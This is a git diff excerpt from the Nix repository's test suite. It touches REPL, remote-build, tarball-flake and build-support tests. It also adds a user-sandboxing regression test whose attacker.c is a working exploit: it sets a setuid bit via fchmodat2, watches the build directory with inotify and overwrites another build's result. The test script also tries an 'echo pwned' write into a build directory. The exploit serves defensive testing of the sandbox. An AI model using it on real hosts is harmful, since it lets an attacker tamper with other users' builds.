= + { servedDirs = + [ { urlPath = "/"; + dir = root; + } + ]; + }; + + virtualisation.writableStore = true; + virtualisation.diskSize = 2048; + virtualisation.additionalPaths = [ pkgs.hello pkgs.fuse ]; + virtualisation.memorySize = 4096; + nix.settings.substituters = lib.mkForce [ ]; + nix.extraOptions = "experimental-features = nix-command flakes"; + }; + }; + + testScript = { nodes }: '' + # fmt: off + import json + + start_all() + + machine.wait_for_unit("httpd.service") + + out = machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz") + print(out) + info = json.loads(out) + + # Check that we got redirected to the immutable URL. + assert info["locked"]["url"] == "http://localhost/stable/${nixpkgs.rev}.tar.gz" + + # Check that we got a fingerprint for caching. + assert info["fingerprint"] + + # Check that we got the rev and revCount attributes. + assert info["revision"] == "${nixpkgs.rev}" + assert info["revCount"] == 1234 + + # Check that a 0-byte HTTP 304 "Not modified" result works. + machine.succeed("nix flake metadata --refresh --json http://localhost/tags/latest.tar.gz") + + # Check that fetching with rev/revCount/narHash succeeds. + machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?rev=" + info["revision"]) + machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?revCount=" + str(info["revCount"])) + machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?narHash=" + info["locked"]["narHash"]) + + # Check that fetching fails if we provide incorrect attributes. + machine.fail("nix flake metadata --json http://localhost/tags/latest.tar.gz?rev=493300eb13ae6fb387fbd47bf54a85915acc31c0") + machine.fail("nix flake metadata --json http://localhost/tags/latest.tar.gz?revCount=789") + machine.fail("nix flake metadata --json http://localhost/tags/latest.tar.gz?narHash=sha256-tbudgBSg+bHWHiHnlteNzN8TUvI80ygS9IULh4rklEw=") + ''; + +} diff --git a/tests/nixos/user-sandboxing/attacker.c b/tests/nixos/user-sandboxing/attacker.c new file mode 100644 index 000000000..3bd729c04 --- /dev/null +++ b/tests/nixos/user-sandboxing/attacker.c @@ -0,0 +1,82 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include + +#define SYS_fchmodat2 452 + +int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) { + return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags); +} + +int main(int argc, char **argv) { + if (argc <= 1) { + // stage 1: place the setuid-builder executable + + // make the build directory world-accessible first + chmod(".", 0755); + + if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) { + perror("Setting the suid bit on attacker"); + exit(-1); + } + + } else { + // stage 2: corrupt the victim derivation while it's building + + // prevent the kill + if (setresuid(-1, -1, getuid())) { + perror("setresuid"); + exit(-1); + } + + if (fork() == 0) { + + // wait for the victim to build + int fd = inotify_init(); + inotify_add_watch(fd, argv[1], IN_CREATE); + int dirfd = open(argv[1], O_DIRECTORY); + if (dirfd < 0) { + perror("opening the global build directory"); + exit(-1); + } + char buf[4096]; + fprintf(stderr, "Entering the inotify loop\n"); + for (;;) { + ssize_t len = read(fd, buf, sizeof(buf)); + struct inotify_event *ev; + for (char *pe = buf; pe < buf + len; + pe += sizeof(struct inotify_event) + ev->len) { + ev = (struct inotify_event *)pe; + fprintf(stderr, "folder %s created\n", ev->name); + // wait a bit to prevent racing against the creation + sleep(1); + int builddir = openat(dirfd, ev->name, O_DIRECTORY); + if (builddir < 0) { + perror("opening the build directory"); + continue; + } + int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC); + if (resultfile < 0) { + perror("opening the hijacked file"); + continue; + } + int writeres = write(resultfile, "bad\n", 4); + if (writeres < 0) { + perror("writing to the hijacked file"); + continue; + } + fprintf(stderr, "Hijacked the build for %s\n", ev->name); + return 0; + } + } + } + + exit(0); + } +} + diff --git a/tests/nixos/user-sandboxing/default.nix b/tests/nixos/user-sandboxing/default.nix new file mode 100644 index 000000000..8a16f44e8 --- /dev/null +++ b/tests/nixos/user-sandboxing/default.nix @@ -0,0 +1,129 @@ +{ config, ... }: + +let + pkgs = config.nodes.machine.nixpkgs.pkgs; + + attacker = pkgs.runCommandWith { + name = "attacker"; + stdenv = pkgs.pkgsStatic.stdenv; + } '' + $CC -static -o $out ${./attacker.c} + ''; + + try-open-build-dir = pkgs.writeScript "try-open-build-dir" '' + export PATH=${pkgs.coreutils}/bin:$PATH + + set -x + + chmod 700 . + # Shouldn't be able to open the root build directory + (! chmod 700 ..) + + touch foo + + # Synchronisation point: create a world-writable fifo and wait for someone + # to write into it + mkfifo syncPoint + chmod 777 syncPoint + cat syncPoint + + touch $out + + set +x + ''; + + create-hello-world = pkgs.writeScript "create-hello-world" '' + export PATH=${pkgs.coreutils}/bin:$PATH + + set -x + + echo "hello, world" > result + + # Synchronisation point: create a world-writable fifo and wait for someone + # to write into it + mkfifo syncPoint + chmod 777 syncPoint + cat syncPoint + + cp result $out + + set +x + ''; + +in +{ + name = "sandbox-setuid-leak"; + + nodes.machine = + { config, lib, pkgs, ... }: + { virtualisation.writableStore = true; + nix.settings.substituters = lib.mkForce [ ]; + nix.nrBuildUsers = 1; + virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ]; + boot.kernelPackages = pkgs.linuxPackages_latest; + users.users.alice = { + isNormalUser = true; + }; + }; + + testScript = { nodes }: '' + start_all() + + with subtest("A builder can't give access to its build directory"): + # Make sure that a builder can't change the permissions on its build + # directory to the point of opening it up to external users + + # A derivation whose builder tries to make its build directory as open + # as possible and wait for someone to hijack it + machine.succeed(r""" + nix-build -v -E ' + builtins.derivation { + name = "open-build-dir"; + system = builtins.currentSystem; + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; + args = [ (builtins.storePath "${try-open-build-dir}") ]; + }' >&2 & + """.strip()) + + # Wait for the build to be ready + # This is OK because it runs as root, so we can access everything + machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint") + + # But Alice shouldn't be able to access the build directory + machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'") + machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'") + machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'") + + # Tell the user to finish the build + machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint") + + with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"): + machine.succeed(r""" + nix-build -E ' + builtins.derivation { + name = "innocent"; + system = builtins.currentSystem; + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; + args = [ (builtins.storePath "${create-hello-world}") ]; + }' >&2 & + """.strip()) + machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint") + + # The build ran as `nixbld1` (which is the only build user on the + # machine), but a process running as `nixbld1` outside the sandbox + # shouldn't be able to touch the build directory regardless + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'") + machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'") + + # Finish the build + machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint") + + # Check that the build was not affected + machine.succeed(r""" + cat ./result + test "$(cat ./result)" = "hello, world" + """.strip()) + ''; + +} + diff --git a/tests/plugins.sh b/tests/plugins.sh deleted file mode 100644 index 6e278ad9d..000000000 --- a/tests/plugins.sh +++ /dev/null @@ -1,12 +0,0 @@ -source common.sh - -set -o pipefail - -if [[ $BUILD_SHARED_LIBS != 1 ]]; then - echo "plugins are not supported" - exit 99 -fi - -res=$(nix --option setting-set true --option plugin-files $PWD/plugins/libplugintest* eval --expr builtins.anotherNull) - -[ "$res"x = "nullx" ] diff --git a/tests/post-hook.sh b/tests/post-hook.sh deleted file mode 100644 index 4eff5f511..000000000 --- a/tests/post-hook.sh +++ /dev/null @@ -1,20 +0,0 @@ -source common.sh - -clearStore - -rm -f $TEST_ROOT/result - -export REMOTE_STORE=file:$TEST_ROOT/remote_store -echo 'require-sigs = false' >> $NIX_CONF_DIR/nix.conf - -restartDaemon - -# Build the dependencies and push them to the remote store. -nix-build -o $TEST_ROOT/result dependencies.nix --post-build-hook $PWD/push-to-store.sh - -clearStore - -# Ensure that the remote store contains both the runtime and build-time -# closure of what we've just built. -nix copy --from "$REMOTE_STORE" --no-require-sigs -f dependencies.nix -nix copy --from "$REMOTE_STORE" --no-require-sigs -f dependencies.nix input1_drv diff --git a/tests/push-to-store.sh b/tests/push-to-store.sh deleted file mode 100755 index b1495c9e2..000000000 --- a/tests/push-to-store.sh +++ /dev/null @@ -1,10 +0,0 @@ -#!/bin/sh - -set -x -set -e - -[ -n "$OUT_PATHS" ] -[ -n "$DRV_PATH" ] - -echo Pushing "$OUT_PATHS" to "$REMOTE_STORE" -printf "%s" "$DRV_PATH" | xargs nix copy --to "$REMOTE_STORE" --no-require-sigs diff --git a/tests/recursive.sh b/tests/recursive.sh deleted file mode 100644 index 91518d67d..000000000 --- a/tests/recursive.sh +++ /dev/null @@ -1,78 +0,0 @@ -source common.sh - -sed -i 's/experimental-features .*/& recursive-nix/' "$NIX_CONF_DIR"/nix.conf -restartDaemon - -# FIXME -if [[ $(uname) != Linux ]]; then exit 99; fi - -clearStore - -rm -f $TEST_ROOT/result - -export unreachable=$(nix store add-path ./recursive.sh) - -NIX_BIN_DIR=$(dirname $(type -p nix)) nix --extra-experimental-features 'nix-command recursive-nix' build -o $TEST_ROOT/result -L --impure --expr ' - with import ./config.nix; - mkDerivation rec { - name = "recursive"; - dummy = builtins.toFile "dummy" "bla bla"; - SHELL = shell; - - # Note: this is a string without context. - unreachable = builtins.getEnv "unreachable"; - - NIX_TESTS_CA_BY_DEFAULT = builtins.getEnv "NIX_TESTS_CA_BY_DEFAULT"; - - requiredSystemFeatures = [ "recursive-nix" ]; - - buildCommand = '\'\'' - mkdir $out - opts="--experimental-features nix-command ${if (NIX_TESTS_CA_BY_DEFAULT == "1") then "--extra-experimental-features ca-derivations" else ""}" - - PATH=${builtins.getEnv "NIX_BIN_DIR"}:$PATH - - # Check that we can query/build paths in our input closure. - nix $opts path-info $dummy - nix $opts build $dummy - - # Make sure we cannot query/build paths not in out input closure. - [[ -e $unreachable ]] - (! nix $opts path-info $unreachable) - (! nix $opts build $unreachable) - - # Add something to the store. - echo foobar > foobar - foobar=$(nix $opts store add-path ./foobar) - - nix $opts path-info $foobar - nix $opts build $foobar - - # Add it to our closure. - ln -s $foobar $out/foobar - - [[ $(nix $opts path-info --all | wc -l) -eq 4 ]] - - # Build a derivation. - nix $opts build -L --impure --expr '\'' - with import ${./config.nix}; - mkDerivation { - name = "inner1"; - buildCommand = "echo $fnord blaat > $out"; - fnord = builtins.toFile "fnord" "fnord"; - } - '\'' - - [[ $(nix $opts path-info --json ./result) =~ fnord ]] - - ln -s $(nix $opts path-info ./result) $out/inner1 - '\'\''; - } -' - -[[ $(cat $TEST_ROOT/result/inner1) =~ blaat ]] - -# Make sure the recursively created paths are in the closure. -nix path-info -r $TEST_ROOT/result | grep foobar -nix path-info -r $TEST_ROOT/result | grep fnord -nix path-info -r $TEST_ROOT/result | grep inner1 diff --git a/tests/remote-builds.nix b/tests/remote-builds.nix deleted file mode 100644 index 7b2e6f708..000000000 --- a/tests/remote-builds.nix +++ /dev/null @@ -1,112 +0,0 @@ -# Test Nix's remote build feature. - -{ nixpkgs, system, overlay }: - -with import (nixpkgs + "/nixos/lib/testing-python.nix") { - inherit system; - extraConfigurations = [ { nixpkgs.overlays = [ overlay ]; } ]; -}; - -makeTest ( - -let - - # The configuration of the remote builders. - builder = - { config, pkgs, ... }: - { services.openssh.enable = true; - virtualisation.writableStore = true; - nix.useSandbox = true; - }; - - # Trivial Nix expression to build remotely. - expr = config: nr: pkgs.writeText "expr.nix" - '' - let utils = builtins.storePath ${config.system.build.extraUtils}; in - derivation { - name = "hello-${toString nr}"; - system = "i686-linux"; - PATH = "''${utils}/bin"; - builder = "''${utils}/bin/sh"; - args = [ "-c" "if [ ${toString nr} = 5 ]; then echo FAIL; exit 1; fi; echo Hello; mkdir $out $foo; cat /proc/sys/kernel/hostname > $out/host; ln -s $out $foo/bar; sleep 10" ]; - outputs = [ "out" "foo" ]; - } - ''; - -in - -{ - name = "remote-builds"; - - nodes = - { builder1 = builder; - builder2 = builder; - - client = - { config, lib, pkgs, ... }: - { nix.maxJobs = 0; # force remote building - nix.distributedBuilds = true; - nix.buildMachines = - [ { hostName = "builder1"; - sshUser = "root"; - sshKey = "/root/.ssh/id_ed25519"; - system = "i686-linux"; - maxJobs = 1; - } - { hostName = "builder2"; - sshUser = "root"; - sshKey = "/root/.ssh/id_ed25519"; - system = "i686-linux"; - maxJobs = 1; - } - ]; - virtualisation.writableStore = true; - virtualisation.additionalPaths = [ config.system.build.extraUtils ]; - nix.binaryCaches = lib.mkForce [ ]; - programs.ssh.extraConfig = "ConnectTimeout 30"; - }; - }; - - testScript = { nodes }: '' - # fmt: off - import subprocess - - start_all() - - # Create an SSH key on the client. - subprocess.run([ - "${pkgs.openssh}/bin/ssh-keygen", "-t", "ed25519", "-f", "key", "-N", "" - ], capture_output=True, check=True) - client.succeed("mkdir -p -m 700 /root/.ssh") - client.copy_from_host("key", "/root/.ssh/id_ed25519") - client.succeed("chmod 600 /root/.ssh/id_ed25519") - - # Install the SSH key on the builders. - client.wait_for_unit("network.target") - for builder in [builder1, builder2]: - builder.succeed("mkdir -p -m 700 /root/.ssh") - builder.copy_from_host("key.pub", "/root/.ssh/authorized_keys") - builder.wait_for_unit("sshd") - client.succeed(f"ssh -o StrictHostKeyChecking=no {builder.name} 'echo hello world'") - - # Perform a build and check that it was performed on the builder. - out = client.succeed( - "nix-build ${expr nodes.client.config 1} 2> build-output", - "grep -q Hello build-output" - ) - builder1.succeed(f"test -e {out}") - - # And a parallel build. - paths = client.succeed(r'nix-store -r $(nix-instantiate ${expr nodes.client.config 2})\!out $(nix-instantiate ${expr nodes.client.config 3})\!out') - out1, out2 = paths.split() - builder1.succeed(f"test -e {out1} -o -e {out2}") - builder2.succeed(f"test -e {out1} -o -e {out2}") - - # And a failing build. - client.fail("nix-build ${expr nodes.client.config 5}") - - # Test whether the build hook automatically skips unavailable builders. - builder1.block() - client.succeed("nix-build ${expr nodes.client.config 4}") - ''; -}) diff --git a/tests/remote-store.sh b/tests/remote-store.sh deleted file mode 100644 index 31210ab47..000000000 --- a/tests/remote-store.sh +++ /dev/null @@ -1,36 +0,0 @@ -source common.sh - -clearStore - -# Ensure "fake ssh" remote store works just as legacy fake ssh would. -nix --store ssh-ng://localhost?remote-store=$TEST_ROOT/other-store doctor - -startDaemon - -# Test import-from-derivation through the daemon. -[[ $(nix eval --impure --raw --expr ' - with import ./config.nix; - import ( - mkDerivation { - name = "foo"; - bla = import ./dependencies.nix; - buildCommand = " - echo \\\"hi\\\" > $out - "; - } - ) -') = hi ]] - -storeCleared=1 NIX_REMOTE_=$NIX_REMOTE $SHELL ./user-envs.sh - -nix-store --gc --max-freed 1K - -nix-store --dump-db > $TEST_ROOT/d1 -NIX_REMOTE= nix-store --dump-db > $TEST_ROOT/d2 -cmp $TEST_ROOT/d1 $TEST_ROOT/d2 - -killDaemon - -user=$(whoami) -[ -e $NIX_STATE_DIR/gcroots/per-user/$user ] -[ -e $NIX_STATE_DIR/profiles/per-user/$user ] diff --git a/tests/repl-completion.nix b/tests/repl-completion.nix new file mode 100644 index 000000000..3ba198a98 --- /dev/null +++ b/tests/repl-completion.nix @@ -0,0 +1,40 @@ +{ runCommand, nix, expect }: + +# We only use expect when necessary, e.g. for testing tab completion in nix repl. +# See also tests/functional/repl.sh + +runCommand "repl-completion" { + nativeBuildInputs = [ + expect + nix + ]; + expectScript = '' + # Regression https://github.com/NixOS/nix/pull/10778 + spawn nix repl --offline --extra-experimental-features nix-command + expect "nix-repl>" + send "foo = import ./does-not-exist.nix\n" + expect "nix-repl>" + send "foo.\t" + expect { + "nix-repl>" { + puts "Got another prompt. Good." + } + eof { + puts "Got EOF. Bad." + exit 1 + } + } + exit 0 + ''; + passAsFile = [ "expectScript" ]; +} +'' + export NIX_STORE=$TMPDIR/store + export NIX_STATE_DIR=$TMPDIR/state + export HOME=$TMPDIR/home + mkdir $HOME + + nix-store --init + expect $expectScriptPath + touch $out +'' \ No newline at end of file diff --git a/tests/repl.sh b/tests/repl.sh deleted file mode 100644 index c555560cc..000000000 --- a/tests/repl.sh +++ /dev/null @@ -1,125 +0,0 @@ -source common.sh - -testDir="$PWD" -cd "$TEST_ROOT" - -replCmds=" -simple = 1 -simple = import $testDir/simple.nix -:bl simple -:log simple -" - -replFailingCmds=" -failing = import $testDir/simple-failing.nix -:b failing -:log failing -" - -replUndefinedVariable=" -import $testDir/undefined-variable.nix -" - -testRepl () { - local nixArgs=("$@") - rm -rf repl-result-out || true # cleanup from other runs backed by a foreign nix store - local replOutput="$(nix repl "${nixArgs[@]}" <<< "$replCmds")" - echo "$replOutput" - local outPath=$(echo "$replOutput" |& - grep -o -E "$NIX_STORE_DIR/\w*-simple") - nix path-info "${nixArgs[@]}" "$outPath" - [ "$(realpath ./repl-result-out)" == "$outPath" ] || fail "nix repl :bl doesn't make a symlink" - # run it again without checking the output to ensure the previously created symlink gets overwritten - nix repl "${nixArgs[@]}" <<< "$replCmds" || fail "nix repl does not work twice with the same inputs" - - # simple.nix prints a PATH during build - echo "$replOutput" | grep -qs 'PATH=' || fail "nix repl :log doesn't output logs" - local replOutput="$(nix repl "${nixArgs[@]}" <<< "$replFailingCmds" 2>&1)" - echo "$replOutput" - echo "$replOutput" | grep -qs 'This should fail' \ - || fail "nix repl :log doesn't output logs for a failed derivation" - local replOutput="$(nix repl --show-trace "${nixArgs[@]}" <<< "$replUndefinedVariable" 2>&1)" - echo "$replOutput" - echo "$replOutput" | grep -qs "while evaluating the file" \ - || fail "nix repl --show-trace doesn't show the trace" - - nix repl "${nixArgs[@]}" --option pure-eval true 2>&1 <<< "builtins.currentSystem" \ - | grep "attribute 'currentSystem' missing" - nix repl "${nixArgs[@]}" 2>&1 <<< "builtins.currentSystem" \ - | grep "$(nix-instantiate --eval -E 'builtins.currentSystem')" -} - -# Simple test, try building a drv -testRepl -# Same thing (kind-of), but with a remote store. -testRepl --store "$TEST_ROOT/store?real=$NIX_STORE_DIR" - -testReplResponse () { - local commands="$1"; shift - local expectedResponse="$1"; shift - local response="$(nix repl "$@" <<< "$commands")" - echo "$response" | grep -qs "$expectedResponse" \ - || fail "repl command set: - -$commands - -does not respond with: - -$expectedResponse - -but with: - -$response" -} - -# :a uses the newest version of a symbol -testReplResponse ' -:a { a = "1"; } -:a { a = "2"; } -"result: ${a}" -' "result: 2" - -testReplResponse ' -drvPath -' '".*-simple.drv"' \ -$testDir/simple.nix - -testReplResponse ' -drvPath -' '".*-simple.drv"' \ ---file $testDir/simple.nix --experimental-features 'ca-derivations' - -testReplResponse ' -drvPath -' '".*-simple.drv"' \ ---file $testDir/simple.nix --extra-experimental-features 'repl-flake ca-derivations' - -mkdir -p flake && cat < flake/flake.nix -{ - outputs = { self }: { - foo = 1; - bar.baz = 2; - - changingThing = "beforeChange"; - }; -} -EOF -testReplResponse ' -foo + baz -' "3" \ - ./flake ./flake\#bar --experimental-features 'flakes repl-flake' - -# Test the `:reload` mechansim with flakes: -# - Eval `./flake#changingThing` -# - Modify the flake -# - Re-eval it -# - Check that the result has changed -replResult=$( ( -echo "changingThing" -sleep 1 # Leave the repl the time to eval 'foo' -sed -i 's/beforeChange/afterChange/' flake/flake.nix -echo ":reload" -echo "changingThing" -) | nix repl ./flake --experimental-features 'flakes repl-flake') -echo "$replResult" | grep -qs beforeChange -echo "$replResult" | grep -qs afterChange diff --git a/tests/shell-hello.nix b/tests/shell-hello.nix deleted file mode 100644 index 3fdd3501d..000000000 --- a/tests/shell-hello.nix +++ /dev/null @@ -1,26 +0,0 @@ -with import ./config.nix; - -{ - hello = mkDerivation { - name = "hello"; - outputs = [ "out" "dev" ]; - meta.outputsToInstall = [ "out" ]; - buildCommand = - '' - mkdir -p $out/bin $dev/bin - - cat > $out/bin/hello < $dev/bin/hello2 < $TEST_ROOT/hello.sh - -ssh_localhost=ssh://localhost -remote_store=?remote-store=$ssh_localhost - -store=$ssh_localhost - -store+=$remote_store -store+=$remote_store -store+=$remote_store - -out=$(nix store add-path --store "$store" $TEST_ROOT/hello.sh) - -[ foo = $(< $out) ] diff --git a/tests/store-ping.sh b/tests/store-ping.sh deleted file mode 100644 index f9427cf0a..000000000 --- a/tests/store-ping.sh +++ /dev/null @@ -1,13 +0,0 @@ -source common.sh - -STORE_INFO=$(nix store ping 2>&1) - -echo "$STORE_INFO" | grep "Store URL: ${NIX_REMOTE}" - -if [[ -v NIX_DAEMON_PACKAGE ]] && isDaemonNewer "2.7.0pre20220126"; then - DAEMON_VERSION=$($NIX_DAEMON_PACKAGE/bin/nix-daemon --version | cut -d' ' -f3) - echo "$STORE_INFO" | grep "Version: $DAEMON_VERSION" -fi - -expect 127 NIX_REMOTE=unix:$PWD/store nix store ping || \ - fail "nix store ping on a non-existent store should fail" diff --git a/tests/structured-attrs.sh b/tests/structured-attrs.sh deleted file mode 100644 index 378dbc735..000000000 --- a/tests/structured-attrs.sh +++ /dev/null @@ -1,23 +0,0 @@ -source common.sh - -# 27ce722638 required some incompatible changes to the nix file, so skip this -# tests for the older versions -requireDaemonNewerThan "2.4pre20210712" - -clearStore - -rm -f $TEST_ROOT/result - -nix-build structured-attrs.nix -A all -o $TEST_ROOT/result - -[[ $(cat $TEST_ROOT/result/foo) = bar ]] -[[ $(cat $TEST_ROOT/result-dev/foo) = foo ]] - -export NIX_BUILD_SHELL=$SHELL -env NIX_PATH=nixpkgs=shell.nix nix-shell structured-attrs-shell.nix \ - --run 'test -e .attrs.json; test "3" = "$(jq ".my.list|length" < $NIX_ATTRS_JSON_FILE)"' - -# `nix develop` is a slightly special way of dealing with environment vars, it parses -# these from a shell-file exported from a derivation. This is to test especially `outputs` -# (which is an associative array in thsi case) being fine. -nix develop -f structured-attrs-shell.nix -c bash -c 'test -n "$out"' diff --git a/tests/tarball.sh b/tests/tarball.sh deleted file mode 100644 index d5cab879c..000000000 --- a/tests/tarball.sh +++ /dev/null @@ -1,61 +0,0 @@ -source common.sh - -clearStore - -rm -rf $TEST_HOME - -tarroot=$TEST_ROOT/tarball -rm -rf $tarroot -mkdir -p $tarroot -cp dependencies.nix $tarroot/default.nix -cp config.nix dependencies.builder*.sh $tarroot/ - -hash=$(nix hash path $tarroot) - -test_tarball() { - local ext="$1" - local compressor="$2" - - tarball=$TEST_ROOT/tarball.tar$ext - (cd $TEST_ROOT && tar cf - tarball) | $compressor > $tarball - - nix-env -f file://$tarball -qa --out-path | grep -q dependencies - - nix-build -o $TEST_ROOT/result file://$tarball - - nix-build -o $TEST_ROOT/result '' -I foo=file://$tarball - - nix-build -o $TEST_ROOT/result -E "import (fetchTarball file://$tarball)" - # Do not re-fetch paths already present - nix-build -o $TEST_ROOT/result -E "import (fetchTarball { url = file:///does-not-exist/must-remain-unused/$tarball; sha256 = \"$hash\"; })" - - nix-build -o $TEST_ROOT/result -E "import (fetchTree file://$tarball)" - nix-build -o $TEST_ROOT/result -E "import (fetchTree { type = \"tarball\"; url = file://$tarball; })" - nix-build -o $TEST_ROOT/result -E "import (fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"$hash\"; })" - # Do not re-fetch paths already present - nix-build -o $TEST_ROOT/result -E "import (fetchTree { type = \"tarball\"; url = file:///does-not-exist/must-remain-unused/$tarball; narHash = \"$hash\"; })" - nix-build -o $TEST_ROOT/result -E "import (fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"sha256-xdKv2pq/IiwLSnBBJXW8hNowI4MrdZfW+SYqDQs7Tzc=\"; })" 2>&1 | grep 'NAR hash mismatch in input' - - nix-instantiate --strict --eval -E "!((import (fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"$hash\"; })) ? submodules)" >&2 - nix-instantiate --strict --eval -E "!((import (fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"$hash\"; })) ? submodules)" 2>&1 | grep 'true' - - nix-instantiate --eval -E '1 + 2' -I fnord=file://no-such-tarball.tar$ext - nix-instantiate --eval -E 'with ; 1 + 2' -I fnord=file://no-such-tarball$ext - (! nix-instantiate --eval -E ' 1' -I fnord=file://no-such-tarball$ext) - - nix-instantiate --eval -E '' -I fnord=file://no-such-tarball$ext -I fnord=. - - # Ensure that the `name` attribute isn’t accepted as that would mess - # with the content-addressing - (! nix-instantiate --eval -E "fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"$hash\"; name = \"foo\"; }") - -} - -test_tarball '' cat -test_tarball .xz xz -test_tarball .gz gzip - -rm -rf $TEST_ROOT/tmp -mkdir -p $TEST_ROOT/tmp -(! TMPDIR=$TEST_ROOT/tmp XDG_RUNTIME_DIR=$TEST_ROOT/tmp nix-env -f file://$(pwd)/bad.tar.xz -qa --out-path) -(! [ -e $TEST_ROOT/tmp/bad ]) diff --git a/tests/unit/libexpr-support/.version b/tests/unit/libexpr-support/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libexpr-support/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libexpr-support/build-utils-meson b/tests/unit/libexpr-support/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libexpr-support/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/tests/unit/libexpr-support/local.mk b/tests/unit/libexpr-support/local.mk new file mode 100644 index 000000000..0501de33c --- /dev/null +++ b/tests/unit/libexpr-support/local.mk @@ -0,0 +1,23 @@ +libraries += libexpr-test-support + +libexpr-test-support_NAME = libnixexpr-test-support + +libexpr-test-support_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libexpr-test-support_INSTALL_DIR := $(checklibdir) +else + libexpr-test-support_INSTALL_DIR := +endif + +libexpr-test-support_SOURCES := \ + $(wildcard $(d)/tests/*.cc) \ + $(wildcard $(d)/tests/value/*.cc) + +libexpr-test-support_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES) + +libexpr-test-support_LIBS = \ + libstore-test-support libutil-test-support \ + libexpr libstore libutil + +libexpr-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck diff --git a/tests/unit/libexpr-support/meson.build b/tests/unit/libexpr-support/meson.build new file mode 100644 index 000000000..4f50478aa --- /dev/null +++ b/tests/unit/libexpr-support/meson.build @@ -0,0 +1,76 @@ +project('nix-expr-test-support', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-util-test-support'), + dependency('nix-store'), + dependency('nix-store-test-support'), + dependency('nix-expr'), +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +rapidcheck = dependency('rapidcheck') +deps_public += rapidcheck + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-expr.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'tests/value/context.cc', +) + +include_dirs = [include_directories('.')] + +headers = files( + 'tests/libexpr.hh', + 'tests/nix_api_expr.hh', + 'tests/value/context.hh', +) + +subdir('build-utils-meson/export-all-symbols') + +this_library = library( + 'nix-expr-test-support', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326 + # is available. See also ../libutil/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/tests/unit/libexpr-support/package.nix b/tests/unit/libexpr-support/package.nix new file mode 100644 index 000000000..f53aa842f --- /dev/null +++ b/tests/unit/libexpr-support/package.nix @@ -0,0 +1,77 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-store-test-support +, nix-expr + +, rapidcheck + +# Configuration Options + +, version +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-util-test-support"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../../build-utils-meson + ./build-utils-meson + ../../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-store-test-support + nix-expr + rapidcheck + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional 